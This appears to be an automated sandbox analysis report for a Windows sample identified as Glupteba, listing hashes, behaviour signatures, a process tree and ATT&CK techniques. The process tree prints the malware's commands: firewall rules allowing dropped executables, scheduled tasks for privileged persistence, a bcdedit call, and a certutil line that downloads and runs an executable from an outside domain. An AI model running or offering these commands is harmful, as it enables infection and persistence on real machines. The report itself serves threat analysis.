Analysis
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max time kernel
144s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
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submitted
25-05-2024 15:00
General
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Target
72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe
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Size
3.7MB
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MD5
72598481bc6735bd83de5bf7bf134215
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SHA1
9cef453bec4de1faacda7719a1f4fdc1ed650572
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SHA256
c5d05bda3e5cf45569b1b2154f6c3c10f2b6267037c54723ce835bd1a0aa2dfb
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SHA512
058c4485da2b2b913a00c99de10ae44bd84d822cd138e132e14c0fddcb59ca111d767a7686206062d8b9b96beb79dff7158f79d48b09f1f62325813db86fb919
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SSDEEP
98304:4FQ6obJGMmJpG51rV6U5BQF8OrvOkW1q:BlbwJw3V15BQSOykW1
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba payload 22 IoCs
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Modifies Windows Firewall 2 TTPs 2 IoCs
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Executes dropped EXE 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
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Modifies boot configuration data using bcdedit 1 IoCs
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Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Modifies system certificate store 2 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 13 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\72598481bc6735bd83de5bf7bf134215_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\322be74bf764\322be74bf764.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\322be74bf764\322be74bf764.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
3.7MB
MD572598481bc6735bd83de5bf7bf134215
SHA19cef453bec4de1faacda7719a1f4fdc1ed650572
SHA256c5d05bda3e5cf45569b1b2154f6c3c10f2b6267037c54723ce835bd1a0aa2dfb
SHA512058c4485da2b2b913a00c99de10ae44bd84d822cd138e132e14c0fddcb59ca111d767a7686206062d8b9b96beb79dff7158f79d48b09f1f62325813db86fb919
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Filesize
3.7MB
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Filesize
7.0MB
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Filesize
7.1MB
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Filesize
15.1MB
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Filesize
7.0MB
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Filesize
7.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB